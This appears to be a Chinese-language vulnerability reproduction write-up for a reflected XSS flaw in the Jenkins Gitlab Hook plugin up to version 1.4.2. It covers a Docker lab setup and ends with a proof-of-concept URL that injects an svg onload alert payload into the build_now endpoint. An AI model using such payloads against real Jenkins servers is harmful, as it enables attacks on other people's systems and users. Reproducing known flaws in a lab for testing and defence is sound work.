漏洞概述
jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。
由于jenkins Gitlab Hook 插件没有在build_now端点中转义项目名称,从而导致反射XSS漏洞。
影响版本
Jenkins Gitlab Hook Plugin <= 1.4.2
环境搭建
这里使用docker进行安装
docker pull jenkins/jenkins
创建Jenkins挂载目录并授权权限
mkdir -p /var/jenkins_mount
chmod 777 /var/jenkins_mount
配置镜像加速
cd /var/jenkins_mount/
vi hudson.model.UpdateCenter.xml
创建并启动Jenkins容器
docker run -d -p 10240:8080 -p 10241:50000 -v /var/jenkins_mount:/var/jenkins_home -v /etc/localtime:/etc/localtime --name myjenkins jenkins/jenkins
访问http://your-ip:10240
vi /var/jenkins_mount/secrets/initialAdminPassword
进入页面后管理jenkins->管理插件->安装Gitlab Hook
安装完后重启jenkins
漏洞复现
访问http://127.0.0.1:10240/login?from=%2F即可看到登录页面
访问http://your-ip:10240/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E